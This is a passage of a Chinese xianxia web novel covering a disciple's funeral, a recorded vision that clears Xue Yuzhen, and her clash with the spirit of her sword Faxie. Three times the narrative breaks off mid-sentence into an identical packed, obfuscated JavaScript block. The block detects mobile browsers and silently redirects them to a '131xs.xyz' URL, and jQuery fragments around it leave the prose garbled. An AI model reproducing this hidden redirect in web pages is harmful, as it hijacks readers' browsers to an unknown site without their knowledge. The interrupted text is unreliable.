薛予蓁闭了闭眼,再睁开时眼中不禁升起一道水雾,若是说褚霁远将她从炼狱里拉了出来,那么施淼淼便是一剂治愈噩梦的良药。 竹晏峰近在眼前,薛予蓁看见院落里已经聚集不少人,师父,师兄,几位长老,几位师兄师姐……他们站在一尊棺椁旁,神情皆是悲痛无比。 “师姐……”薛予蓁喃喃道,“我做的对吗?师姐……” 那日的记忆重新浮现在眼前,施淼淼染血的面庞,张合的嘴巴,还有—— 呼—— 身后突然传来一阵破空声。 薛予蓁猛地睁开眼睛,但来人修为高她许多,根本来不及躲闪。薛予蓁只觉肩上一阵剧痛,脊背在地上摩擦着,直到撞上一道石柱才堪堪停了下来。 “咳咳——唔嗯!”这一击打得她呛出一口血,还未等她反应过来便被人狠狠地扼住了脖颈。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471943|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>众人被这突如其来的巨响惊了一下,纷纷围了过来。 “这是?薛予蓁?她不是在地牢中吗?怎么到这来了?”耳边的声音有些失真了,但薛予蓁还是听出来这是浮鸢长老的声音,她握着来人的手臂,拼尽全力地阻止他继续用力,心中却在恶劣地想着,若是今日真的死在了这里,至少要在死前带走浮鸢。 一道陌生的声音道:“这就是薛予蓁?哈哈,好小子,不愧是小姨的好外甥。” “施亦辰!你做什么,先放开她!”施明尘看清来者的面貌,急道。 薛予蓁心道:这下知道来人是谁了。 施淼淼的那两位双生哥哥的其中一个。 薛予蓁被施亦宸死死扼住脖子,她挣扎着伸手去抓挠他的手。但这位素未蒙面的师兄修为不知比她高多少,力气也大的吓人,那只手就像是铁铸得一般,纹丝不动。 窒息的感觉并不好受,薛予蓁逐渐没了力气,双眸猩红却死死地盯着施亦宸不放。 就在薛予蓁觉得自己怕不是就要死在这的时候,余光扫到一柄银剑朝着施亦宸袭来。 施亦宸掐着薛予蓁将她重重甩开,自己闪身避开。薛予蓁在地上滚了几圈后被人搂在怀里,她大口大口呼吸着,间歇地咳了几声。眼前落下一片月白色的衣袍,明若遥抱拳跪在她面前,颤声道:“师兄,我以性命担保,薛予蓁绝非是杀害淼淼的凶手! 若是师兄愿意大可以去问询其他弟子,他们都能证明,薛予蓁对师姐绝无伤害之意。倘若有人敢对师姐不利,她只会是第一个拔剑挡刀的人。” “是啊,师兄!”薛予蓁知道是谁在搂着自己了,莫泱的声音在头顶响起。他好似丝毫不忌惮险些将薛予蓁掐死的凶恶师兄,直言道:“二位师兄出宗门历练许久,对薛予蓁的品行一概不知,只凭着不明所以的证据,就要给她定罪,是否太过草率?” 施亦辰哼笑一声,唤出自己的武器,挥臂一震,“草率?我只知道我的妹妹死的时候只有她在。她既缄口不言当时发生了什么,我便也只好将她视作是罪魁祸首,也只有这样才能让淼淼在黄泉路上不那么孤单。” 他枪尖直指薛予蓁,“今日,必需得有一个了断。” 莫泱咬咬牙,又道:“黄泉路?要是淼淼师姐真在黄泉路上看见了薛予蓁,才会气得不愿意投胎了吧!” 嗖—— 一道箭矢落在两人旁边,不远处和施亦辰面貌一样的青年放下手中长弓。比起施亦辰,这位青年更显冷淡,也看上去更好说话,莫泱心中大喜,刚想再说话,却发现自己说不得话也动不了。 青年竟是对着他们放出威压,莫泱绝望地闭上了眼睛。 施以眀对着两人再次举起长弓,毫不犹豫地放出箭矢。 铮—— 预想中的疼痛并没有来到,怀中也没有了重量。莫泱睁开眼一看,薛予蓁手持一柄水蓝色的长剑,破开禁制后生生接下了施以眀的一击。她身形晃了几下,嘴边溢出丝丝红血,以长剑撑地,眼神锐利地看向两人,“两位…师兄,今日是师姐的葬礼,该不必叫她如此不安生的离开吧。” 双生子不语,只交换一个眼神,便同时攻了上来。薛予蓁提剑蓄起灵力,咔嚓一声,她愣住了,顺着声音的来源低头看去——施淼淼挂在她颈间的那颗黑色留映珠许是经不起如此强大的灵力冲击,碎了。 薛予蓁心头涌起一阵酸涩,为什么?为什么留不住?不管是爹爹的玉佩还是师姐的留映珠,为什么一样都留不住! 无人注意到这个细节,只看见她执剑的手缓缓下落,而双生子的攻势即刻就要落到她身上去了。 “予蓁!”明若遥和莫泱失声喊道。 一阵灵力激荡后,被弹开的人却是双生子,只见敛芳华矗立在薛予蓁面前,为她挡下了那两击。 施亦辰看清后大怒,转向施明尘身旁的褚霁远,大声道:“褚霁远!你什么意思?” “……戴着它替师姐多去些地方逛一逛。”熟悉声音突然响起,还是记忆中那般温和,盛满了笑意。 薛予蓁身体一颤,迷茫地抬起头,“师姐?” 47. 第四十七章 淼淼 那道虚影同竹晏峰内的石桌一般大小,施淼淼的面容映在上面,她眼睛亮晶晶的,说着,“不光那些,待许乐禾上场时,你可得抢一个前面的位置,将他被打得狗血淋头的样子记下来。还有子书珹,嗯,不知这次的榜首会是他还是崇涧宗的……” 褚茗鸢拧着眉看向画面,道:“这是什么?” 庄和枝从人群中走了出来,他这几日一直神情恍惚,仿佛施淼淼的带走了他一部分魂灵。他出神地望着那道灵动的虚影,喃喃道:“留映珠…是我送给淼淼的留映珠。” 一时间,院落里的人都没再说话,只看着悬于上空的画面,目光追随着施淼淼的身影。 薛予蓁也目不转睛地看着虚影,但等到画面出现大片浓白的迷雾时,她不安地移开了眼神。 接下来什么都瞒不住了。 画面上出现了施淼淼被伐邪刺中时错愕的表情,她眼瞳有片刻发红,但很快便变了回去。伐邪太过凶恶,施淼淼灵力低弱,根本承受不住它的威压。 她低呼一声后就跌倒在地。 血,很快染红了她的裙摆。 薛予蓁听见了自己惊呼声,听见了施淼淼很温柔地喊她小风筝,听见了她说: “我看见了,五宗大比是个陷阱,邪阵伤人,知源宗不能去。小风筝,不能去。” 此话一出,施明尘和褚茗鸢脸色骤变,两人对视一眼,都在对方的眼中看见了不可置信。 画面上的内容还在继续,薛予蓁才注意到原来到了最后,施淼淼吐词已经不再清晰,她嘴边不断溢出鲜血,但往日那位受不得半点委屈的小姐,却强忍着没有喊一声痛。 伏阴猎魂阵出现的瞬间,施明尘身形踉跄着往前走了两步,眼中早已蓄满泪水。他徒劳地举起双手,想去抱一抱自己的女儿。 可那终究只是一道虚影。 他只能眼睁睁地看着阵法带走施淼淼的生命,看着那双眸子渐渐失去神采,看着她跌倒在地,看着她渐渐没了呼吸。 竹晏峰四季如春,满院的桃花开得旺盛。今日天气明媚,丝缕阳光穿过花叶洒落在每个人身上,烘得人暖洋洋的。 留映珠上施淼淼留下的灵力消散的那瞬间,画面也消失了。薛予蓁支着剑站直了身体,看向施明尘的眼神无措又哀伤,“师父,徒儿无话可说。” 剑是握在她手上时捅出去的,所以她并不无辜。 施明尘看着她,满脑子都是施淼淼说的那句“宁为五洲枯魂鬼,不做金锁笼中雀”。其实他比任何人都知道薛予蓁做不出这样的事情,可难道他没有怪过她吗? 若非她提出要带淼淼下山,还会出现如今的局面吗? 未必。 但听完施淼淼的那番话后,他再没了别的想法。 他这位意料之外的小徒弟,明明比任何人都要难过,却比所有人都要愧疚。施明尘走到她面前,摸了摸她的头,看她一身狼狈,心中酸涩,道:“师父都知道了,是你辛苦了……” 薛予蓁咬着下唇,偏开头,又不甘地看向他,问道:“师父,为什么呀?为什么……” 没人知道施淼淼在落入那片迷雾后经历了什么。但施明尘明白,她一定发现了自己身上的魔族,也迅速地清楚了自己精神不振,宗内弟子无故昏迷的缘由。 施淼淼并非真的一无所知,从平阳城开始,到宁沂秘境的坍塌,再到渝州内大小的灾祸,她都清楚。她也知道自己并不只是施淼淼,还是知源宗宗主的女儿,知源宗庇护着渝州,即便自己修为低下,也要担起同样的职责。 在未曾结识薛予蓁的年岁里,她看了足够多的书,也知道想要破除魔族加以旁人的噬灵术,唯有宿主带着附身的魔族同归于尽。 施明尘知道,不管有没有遇到薛予蓁,施淼淼都会做这样的选择。 因为她是施淼淼。不论施明尘有没有真正地教导过她宗内事务,但耳濡目染下明白得最早的,是责任,是担当。 褚茗鸢打断两人的对话,眼中还带着怀疑,“你如何能证明这不是你幻化出来骗我们的?” 没等薛予蓁开口,庄和枝先说话了,“褚阁主,这枚珠子是我在淼淼临行前送给她的。”他握着碎裂的留映珠,递给褚茗鸢,“上面还有一丝灵力,是淼淼的。” 褚茗鸢接过一探,虽然已消散了,但的确是施淼淼的灵力。她闭了闭眼,转向薛予蓁,“是我错怪你。” 高高在上的褚阁主自然放不下面子和一个小辈道歉,她攥着留映珠快步走开了。 薛予蓁也并不在意这位褚阁主,只垂着头不言语。直到肩上落了一只温热的手掌后才堪堪有了反应,她扭头看去,才发现褚霁远不知何时走到了她的身边,垂首在她耳边低声道:“午时三刻便要送灵,且去换件衣裳吧。” 听他这样说薛予蓁才惊觉自己还穿着那件染血的弟子袍,上面沾染着施淼淼的血迹这样的认知叫她有些难受,于是她点点头,“好。” 施淼淼被葬在竹晏峰后峰,和褚茗雁在一处。 葬礼过后人群便散去了。施明尘和褚茗鸢很快进了书房里,就好像得知施淼淼的死亡并非人为后就不再重要。莫名附身的魔族,突然而起的大雾,渝州各处的灾情不得已地占据了他们更多的思绪。 薛予蓁站在墓前看着四散离开的众人,分明周遭吵闹不断,却还是觉得安静得可怕。她垂眸看向那小小的坟墓,难道只有自己还在为施淼淼感到难过吗?还是说过去的数日以及足够他们去接受这个事实,去难过哭泣? 无人能给她答案。 她想说些什么,可也没有人做错了什么。 最后一位宾客走出竹晏峰后,薛予蓁将它彻底封了起来,是从子书珹那学来的阵法——他们在日落时分赶了回来,也带回来了不好的消息。 “来安城损伤惨重,那道阵法实在凶邪。山雨门的门主虽破开了阵法,却无法解决遗留的戾气冤魂。城中凡人无灵气护体,戾气冤魂趁机而入,死伤惨重。”子书珹语气沉重,“知源宗此次并未中招,有不少宗门都在怀疑我们做下的局。” 许乐禾少见地没有说话,垂着头沉默地坐在一旁。 “人太多了,救不过来。”徐赠春道,“更让人想不通的是,那邪阵虽然凶邪,但按理来说阵破后周遭灵气便会修补损坏,吞噬戾气。可这次在来安城却几乎感受不到灵气。” 薛予蓁疑惑抬头,“没有…灵气?” “是,就连我们也只能凭借丹药补充耗损的灵力。”子书珹点点头,“但仔细想想,五洲灵气的确是在衰减。” 薛予蓁微微出神,好像在久远的记忆中,阿娘也说过这样的话,捧着枯萎的灵草满目忧愁。 施明尘并未取消竹晏峰的百转春回阵,桃花依旧开得艳丽,屋檐下挂着施淼淼编织的蝴蝶草编,有风来时,花瓣落,蝴蝶飞,而如今这里的主人也翩然离去了。 分明十几日前还是安然和睦的样子,怎么就会变成这样呢?魔族附身,师姐死亡,宗门被疑,五洲灵气衰减,好像从哪一日开始就再不太平了。薛予蓁呆呆地看着竹晏峰出神,连子书珹唤她都没反应。 直到肩膀被轻轻拍了一下,她陡然回神,扭头看去,子书珹担忧地摸了摸她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471944|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额头,“怎么无精打采的?吓到了?” 连日的奔走,来安城内棘手的事务,子书珹忙到大概都不知道自己什么怎样一副疲倦模样。薛予蓁不欲叫他再多些负担,勉强地笑了起来,“没有。” 可有时越是想要隐藏起来的情绪,越是容易露馅,薛予蓁低头回避子书珹的视线,目光触及手腕上的镯子时她大松了一口气,站起身晃了晃手,“突然想起山下还有个人要我报平安。子书师兄,我先行一步。” 没等子书珹做出什么反应,薛予蓁抬脚便走。 八步还是十步?她听见了子书珹在她身后说话,“薛予蓁。”他很少这样严肃的喊自己,“我知道你还在想淼淼,也知道你在埋怨每一个不再为她伤心的人。可如今局势骤变,还有更多的生者等着……” 后面子书珹又说了什么呢?薛予蓁一点都没听见了,是因为她不愿再听快步走远了,也是因为许乐禾总算是爆发了,他头一次这般愤怒,也忘记了自己会些法术,揪着子书珹的衣领便抬起了拳头。 好吵。薛予蓁又加快了些速度。 大殿内,褚茗鸢还握着破碎的留映珠,来来回回在正厅走了几遍后,难以置信地看向施明尘,“淼淼竟有预知之能?”她颓唐地跌坐在椅子上,“褚家这样的能力,百余年来再没出过一位了吧……能力延续微薄,非生命垂危之际都激发不出。淼淼……” 殿外树下,褚霁远垂眸而立,神色不明,谁也看不见他的身旁还站着一位姑娘。 “其实我并非是百年来唯一一个,阿娘也是。”施淼淼飘在褚霁远身边,“但我并不知道阿娘那时看见了什么,她留在我灵脉里的内容太少了。” “为何会这样?”褚霁远突然开口道。 施淼淼只当他是在问为什么内容很少,歪着头想了想,“我也不知,或许是那时阿娘真的很累,撑不住了吧。” 褚霁远摇头,“我是问你,为何会是这般情况。” 魂体近乎透明,施淼淼好奇地举起手看着透进的月光,笑了笑,“这我也不知,明明已经死了,却睁眼就在知源宗了。” 还有一句话她没说,或许是褚茗雁的魂灵在冥冥之中佑护着她。但这话她也不打算说了,死亡不该过分侵扰还活着的人,余下的事就藏在心里甜甜自己吧。 施淼淼飘到褚霁远面前,难得和他平视,“师兄早便能看见我了吧?为何装作看不见?” “我只当,不过是我的幻觉。”他又笑着驳斥自己,“不过想想也是,我哪有这样活络的思绪。你往后要怎么办?” 施淼淼自己也不知道,“留在宗门内看着吧,或许有朝一日我就知道要去什么地方了。对了师兄,”她不知从什么地方拿出一块三角棱石,“虽不清楚这是什么,但我‘看见’的东西让我把这个给你。” 褚霁远尝试着去拿,原以为只是虚影,手中却确切地感受了重量。 “很熟悉。我应该知道这是什么。”褚霁远道。 施淼淼点头,“就说给你就好。” 沉默了一会儿,施淼淼又道:“别告诉爹我在这,也别告诉小风筝。我其实并不觉得遗憾,死前出了山,看了很多很多,也好歹做出来点贡献。”幼时体弱多病,总是哭闹,但识字懂事后施淼淼学到第一件事便是接受自己将要死亡的事实,或早或晚。 她比所有人都要理解死亡,也知道,这,并不可怕。 褚霁远点点头,想了想问道:“庄和枝也不告诉?” 施淼淼迷茫地看着他,“嗯?” 褚霁远看着她清亮的眸子,摇头,“算了。不说也好。” 48. 第四十八章 真相 薛予蓁看见谢云涧的时候,他正站在一块石头上,举着松果够树梢上的果实。明明是随意一道灵力的事情,他却乐意纵着自己的灵宠玩。 方才心中的苦涩被眼前的画面化去大半,薛予蓁没有急着出声,看着一人一松鼠玩闹。 似是心有所感,谢云涧扭头正巧捉到她的目光,瞬间笑了起来,也不管松果刚才抓住果子,手一撤就跳下石头朝她走去,“薛姑娘。” 幸而松果是一只灵巧的小松鼠,顺着树枝便上了树,许是不满,它摘了果子恶狠狠丢向谢云涧。但这人像是背后长了眼睛一样,反手接住就往薛予蓁面前一递,“诺,借花献佛了,尝尝?” 薛予蓁伸手接了果子,浅浅地咬了一口,很酸。但她没表现出来,问道:“你一直在这等吗?” 谢云涧笑笑,“我一散修,多得是空闲时间。”他犹豫了一下,轻声问,“既然你这时才下山,说明事情已经解决了吗?” “真相大白,我……”薛予蓁愣住了,她本想说自己是无辜的,可怎么都说不出口,“可我并不无辜。” 谢云涧看出她的踌躇,轻轻牵着她的手在石头上坐下,自己蹲在她面前,仰头瞧着她。一开口,说得却是别的事情,“薛小姐,其实我也有事情要向你坦白。” 薛予蓁微微低头对上他的眸子,被他轻轻抓着指尖,见他神情严肃,悄悄地挺直了腰背,“你说。” “其实,一开始与你们宁沂秘境前相遇并非偶然。”谢云涧道,“我早早地等在那里,等了你们好久。” “你!为何?” 薛予蓁诧异,想要收回手,却被他紧紧抓住,“我也不知,师父是这样交代我的。要我同你们一起,要打好关系,最好进秘境后也一起行动。最后再找到‘碧绛草’的卷轴交给你们。” 碧绛草这词一出,薛予蓁便坐不住了,平阳城一事后他们才得知了它的存在,因与活人试药有关并未将事情张扬除去,谢云涧的师父从何得知的? “你师父究竟是什么人?怎么会知道碧绛草?” 谢云涧想了想,长叹一口气,“说来惭愧,身为徒弟,我竟也说不出师父的来历。” 想起那个卷轴,薛予蓁将它从储物囊里取了出来,“从宁沂秘境出去后,我问过师兄,他同我说这是假的,炼制‘碧绛草’所需的草药根本不存在。” 谢云涧点了点她腕上的镯子,“这便是破局之法。” 薛予蓁催动灵力注入手镯,一柄通体水蓝的长剑出现,比起伐邪更加轻巧,剑柄上雕着涟涟水波,灵动的线条勾勒出三个字,“不系舟……” 伴着被叫出的名字,不系舟剑身泛起微光,轻声嗡鸣着。 谢云涧道:“本来将它给你只是为了图个心安,如今看来,它很喜欢你嘛。” 可一柄剑能对卷轴做什么? 剑尖直直刺向卷轴,却在即将触碰时被一道看不见的屏障挡开,而后上面所写的字如同有了生命一般四散开来,又重新合在一起。 整张卷轴的内容大变样,两人探头一看——那是一道阵法,一侧写着名称,一侧大段大段地描述着结阵之法。 薛予蓁一字一字念道:“锁山阵。若沉渊峰封印被破,可借此阵暂以压制,然需灵力浩大,并自八方阵眼处传至中心……” “活人,祭阵。”薛予蓁猛地将卷轴合上,“我要去告诉师父和师兄。” 她匆匆地跑了几步,又转身看向少年,“谢云涧,你要走了吗?” 谢云涧摇摇头,“我就在此处,等你来找我。” 不等薛予蓁说话,谢云涧又道:“对了,薛姑娘。我是个骗子,骗了你那么多时日,骗得你那么信任我。我并不无辜。” 薛予蓁愣了一下才反应过来他在回答自己说的话,她犹豫了一下,“这不一样。” 谢云涧点头,“确实不一样,我是有心欺瞒,而你却是无意之举。两相比较,我更为恶劣。”他上前一步,“薛姑娘,你讨厌我了吗?” “没有!你没有伤害过我,甚至帮了我很多。”薛予蓁否认道。 “那位淼淼师姐一定也是这样想的。” 师姐真的会这样想吗?薛予蓁在大殿外踌躇不已,几次想去推门却总是心中犹豫。 “小风筝?”褚霁远的声音从身后传来,“可是找师父有事?” 薛予蓁下意识地避开褚霁远的视线,递出卷轴,“是,发现了些重要的东西。” 褚霁远接过卷轴一看,脸色骤变,“这是?” 薛予蓁将事情与褚霁远说了一遍,他听后点了点头,“我会同师父说这件事。至于谢云涧,虽说了些谎话,却未做出什么对我们不利之事,暂且可信。” “对了,路过执律堂,长老让我把这个还与你。”说着,他手腕一翻,被封着禁制的伐邪落到了薛予蓁面前。 感应到主人的气息,伐邪不安地摇晃着。薛予蓁犹豫了一下,还是将伐邪收了起来,又转向褚霁远,“师兄,若没什么事的话,我便先走了。” “等等。”褚霁远叫住她,“前夜,淼淼托梦与我,想我告诉你,不必自责,一切都是她个人的选择。”他 叹了口气,竟然笑了,“但叫你绝不许忘了她,不然日日在你梦里恼你。” 薛予蓁攥着衣角沉默了很久,这些天来,许多人都同她说不怪她,不是她的错。可今日听褚霁远说的这话竟猛地松了一口气,压在心间那块石头被施淼淼这句颇不讲理的话粉碎干净。 半晌,她也笑了下,“怎么会忘呢?”她看着褚霁远讲了句玩笑话,“若是师姐还来找你,师兄替我告诉她,日日来也无妨,我已经在想念她了。” 褚霁远看着薛予蓁,自出事以来,她总是一副心神不宁的模样,多数时候眼中都漾不起波澜,如同一滩死水,而方才听完那番话后,眉间浓重的哀愁消散大半。 他点点头,没忍住往薛予蓁背后看去,施淼淼得意洋洋地朝他晃了晃脑袋,而后俯身虚虚环住薛予蓁,贴着她的脸颊,轻声唤道:“小风筝。” 褚霁远道:“夜已深,你多日未曾好好歇息过了。我叫人在清棠峰收拾了一间房,去我那休息吧。” 薛予蓁应了是,目送着褚霁远进了大殿后便也离开了,只是走到岔路时半分没犹豫地换了方向。 寒雾崖是墟山最高的一座峰,常年云雾缭绕,寒意浸人,试剑阁便在此处。未及金丹时,褚霁远带她来寻过本命剑,但却一直没有合适的,直到遇见了伐邪。 而如今,薛予蓁再次来带这里,却不是为了寻剑。 她站在毁剑池前,池中滚烫地熔浆翻腾着带起热气,这是寒雾崖上唯一温暖的地方。薛予蓁举起伐邪悬在池子上方,眼中只闪过一丝犹豫,便松开了手。 但令她没想到的是,被禁制封印的伐邪在半空中泛出刺目的红光,竟自己破开了禁制。 红光散去,伐邪不见踪影,取而代之的是一位红衣女子。红裙黑发,皮肤白皙,不似常人。 女子睁开眼睛,她嗤笑一声,随意地扫了一眼毁剑池,“你就打算用这个毁了我?” 她此话一出,身份便明了了,薛予蓁道:“是。” “哼。”伐邪自空中闪到薛予蓁身边,“为什么?我帮了你很多啊。” “啊。”她歪头一笑,“难道你是在怪我杀了你师姐?可我也救了很多人,不是吗?施淼淼身上附得可是魔族啊,我生来就是为了占尽这些邪物,我有什么错?” “所以,连无辜之人也不管不顾吗?”薛予蓁问道,“死在你手下的除了邪物,还有多少命不该绝的人呢?宁沂秘境那个修士,师姐,还有五百年前在战中只不过沾染魔气的无辜之人!”最后,她几乎是吼着说出这些话。 伐邪脸色一变,“你说什么!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471945|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛予蓁闭了闭眼,深吸一口气,嘲道:“这是宁沂上仙丢弃你的原因吗?” 伐邪听见这话后瞬间瞳孔泛红,表情狰狞,她信手一挥,数道剑气将薛予蓁团团围住,一句一顿地说道:“你!说!什!么!” 脖颈被凌厉的剑气割开,鲜血缓缓流下。薛予蓁却像是没感觉到疼痛一样,道:“我翻了许多古籍,上面全是你的罪证。出川之战,一百三十二人;沁河围杀,五百三十二人——” “够了!”伐邪大喝着制止薛予蓁的话,“你又知道些什么?” 她咬牙切齿地说道:“是他将我制造出来,是他给我指令要我杀尽天下邪物,也是他将我封印在暗无天日的黑暗中。凭什么?我难道没有听他的话吗?难道不是他驱使我战场上厮杀吗?那些被魔气侵染,被魔族附身之人凭什么不能杀?杀了他们,我救了多少人,你知道吗?” “凭他一句‘邪性过重,多加静修’我便心甘情愿被他封印了五百年,我以为至少会被他一同带走,却被当成废铁一般辗转各处。”伐邪突然一愣,喃喃道,“他骗我。” 薛予蓁没忍住,“他骗你了吗?五百年过去,你还是如此。倘若在知源宗那段时间我没有制住你,我那几十位无辜被魔气侵袭的同门岂不是也会被你直接视作魔物斩杀?他们又做错了什么?” 伐邪皱着眉,偏着头看她,“你想说,宁沂是为了我好?” “若非如此,你在五百年前就应被上仙丢进——” 伐邪大笑着打断她,“你以为世上真的有人无利不图?只凭着‘爱’?可笑!”她带着一种怜悯的语气说着,“你以为你的母亲,对你有多少爱呢?愿意为你去死?不不不,小风筝,你太天真了。” 薛予蓁道:“你什么意思?” 伐邪哼笑一声,“你难道不好奇为什么旁人十几年甚至几十年才能堪堪到结丹,而你四年就能从一个灵力全无的凡人攀升到金丹境界吗?天生灵脉?也只有无知之人才能说得出这话。” 她伸出手指抵在薛予蓁的心口处,“你以为我们是何时结的契?” “平阳城坑底……” “不,不。”伐邪挑开她的衣襟,手指按在白皙的皮肤上,冲她笑了一下,“十七年前,你刚出生。你的好娘亲便迫不及待地用我划开你的胸膛将那块灵脉碎片放了进去。” 薛予蓁听见这话,脸上瞬间血色全无,颤声道:“你说,什么?” 伐邪很是满意她这个反应,“她确是一位技艺精湛的医修,不,也许是碎片修补好你,让你平安顺遂地长到了如今。”她语气中全是嘲讽,“如何?你以为的那位爱你爱得恨不得为你去死的娘亲,只将你当作是一个隐秘的藏宝处。你还爱她吗?” 伐邪挥手收回剑气,“你我之间有灵契,我杀不了你。怎么样,得知真相,你还打算把我毁了吗?”她轻蔑地看了一眼毁剑池,“虽说这东西也伤不得我,但总归会让剑身变得难看。” 薛予蓁垂着头,神色不明。 半晌,她看向伐邪,眼神平淡,“你走吧,我不要你了。” 伐邪猛地一惊,“你!” “还有,”薛予蓁微微一笑,“伐邪,此后,你不得出鞘杀生,一滴血也不能沾。” 主人的命令如同一道枷锁一般压在了伐邪身上,她不可置信地看向薛予蓁,“好,好得很啊薛予蓁。” 薛予蓁不语,转身离去。 伐邪在她身后笑着,“我的好主人,我再告诉你一件事吧。你知道吗,五洲的镇天灵脉是谢尧拿着我斩碎的,所以我比任何人都要熟悉灵脉的气息。而褚霁远,你的那位好师兄,你知道他是什么人吗?” “哦,他可能算不得人。” “因为他就是灵脉,生出灵智,化形而出。” “你猜猜,他待你的好,有几分是因为你,又有几分是因为你体内的灵脉碎片呢?” 49. 第四十九章 阿予 褚霁远回到清棠峰时,见薛予蓁没有休息,而是坐在院中发呆,目光落在虚空中,久久未曾回神,连褚霁远靠近都没发现。 最后还是褚霁远轻轻拍了一下她,才将她的魂唤了回来,“怎么坐在外面?” 薛予蓁盯着他瞧了一会儿,才慢吞吞吐出一句话,“屋里太闷,想透透气。” 这话显然只是句借口,但她不想说,褚霁远便也没有逼她。他在薛予蓁身边坐下,动作一顿,“怎么不见伐邪?” 薛予蓁没想到他会问这个,愣了下,笑道:“丢了。” “丢?” 薛予蓁点点头,“师兄应该也知道,我如今的修为,还不足以控制伐邪。其实不止是师姐那件事,早在宁沂秘境便已是如此。与其留着再闯什么祸,不若将她直接丢弃。” 褚霁远没对她的决定做什么评判,只淡声问道:“可要去试剑阁寻一把新的灵剑?” “不必,已经有人给我了。”怕褚霁远继续追问,薛予蓁打听起卷轴的事,“那道阵法,师父可有什么头绪?” 褚霁远沉默了一下,道:“师父说,若真走到那一步,卷中之法便是最后的退路。” “怎么会……”薛予蓁惊讶地看向褚霁远,“事情已经到了这般地步了吗?可分明前两月都还好好的……” 事态自然不会突然加重,但深埋在地下的根系不知在什么时候就已腐烂不堪。背地里不知多少世家宗门在谋 划想要解开沉渊峰的封印。 褚霁远揉了揉薛予蓁的头发,“你年纪还小,本不该叫你知道这些事情。但事关你母亲,你便有这个知情的权利。” 伐邪的话似乎还在耳边回荡,分明身体无恙,心口却隐隐作痛,薛予蓁不禁屏住呼吸,问道:“我阿娘?” “五百年前五洲同魔族的战役最终虽是人族胜利,五位最大的功臣飞升,但上重天与五洲相连的镇天灵脉破碎,五洲灵气渐弱。不光是修士,天下生灵皆以灵气为基础。若是没了灵气,所有人都会死。”褚霁远道,“百年前便有人提出,将沉渊峰的封印打破,重新连接上重天。” “可是这样的话,魔域也会重新打开。”薛予蓁道。 褚霁远摇摇头,“沉渊峰有两层封印,内层封魔域,外层断五洲与上重天。” 薛予蓁道:“那便只解开外层的封印。” “若所有人都是这样想的,便没那么多困扰了。”褚霁远轻笑。 当世间出现灾厄,便是最好的洗牌时机。数不尽的宗门世家等着外层封印解开后趁乱将内层封印也破开。届时,魔族倾巢而出,五洲便是人间炼狱,也是那些穷途末路的宗门翻身之时。 薛予蓁不明白,“可这是为什么呢?即说五洲五百年来灵气凋零,再无飞升之人,修士修习不畅。而魔族有的是时间修养生息,他们如何觉得自己能敌得过魔族?” 褚霁远面色沉沉,“这便是接下来你们要解决的事情了。” 半月前张家村灭族一事,今日才有消息。闵榭长老带着半块被血迹浸染的徐家腰牌回了宗门,同腰牌掉落在一起的还有几枚颜色怪异的丹药。 “活人炼药?!”薛予蓁猛地站起身。 褚霁远点头,“那丹药阴邪至极。师父找了只雀儿试药,不过顷刻间,那雀儿便灵气暴涨,隐有成精之意。” “难道他们打得便是这个主意?”薛予蓁嗤笑一声,“为了什么,要使这样的邪术……” 少年脸上尽是对这般行为的不齿,褚霁远欣慰地看着她,“小风筝,人的贪念是永无止境的。你会因此感到气愤,便说明你不会是这样的人,这很好。” 薛予蓁猝不及防被他夸了一句,不自在地抬手摸了摸鼻尖,又想起他先前的话,“可这同我阿娘有什么关系呢?” 褚霁远却只偏过头笑,“当年你娘叛逃出凌河药谷,定是与这个有关。所以,藏好你的身份,别叫人绑了去。” 薛予蓁眼珠子一转,也笑,“若是真被凌河药谷绑了去不是正好?届时,师兄便有了正当的理由能进谷中搜查了。哎呦!” 后脑突然被不轻不重地敲了一下,薛予蓁转头一看,敛芳华悬在半空,悠悠地晃荡着。再回过头,褚霁远一脸无奈地摇摇头,“尽想些歪点子。” 薛予蓁嘿嘿笑了两声,凑到他跟前,“师兄先前说,有我们要解决的事情,是什么?” 方才提到那块腰牌上刻着半个徐字,薛予蓁道:“不会要去徐家吧?” 褚霁远道:“不错。我已同子书珹交代清楚了,天一亮,你们便出发。” 两人均是折腾了一夜,如今天边已隐隐透出些亮光。薛予蓁本想直接去找子书珹,想到什么又转过身,“师兄,那徐师姐也一起吗?” 徐家世代从商,精明得很,知源宗自然不能直接以调查为由接近徐家。但因为灵气衰减,鹊柳城近日也不太平,正给了他们一个长待鹊柳城的缘由。 褚霁远道:“她自然不会去。我已经和她说好,同我一道去清州。” “清州出了什么事吗?” 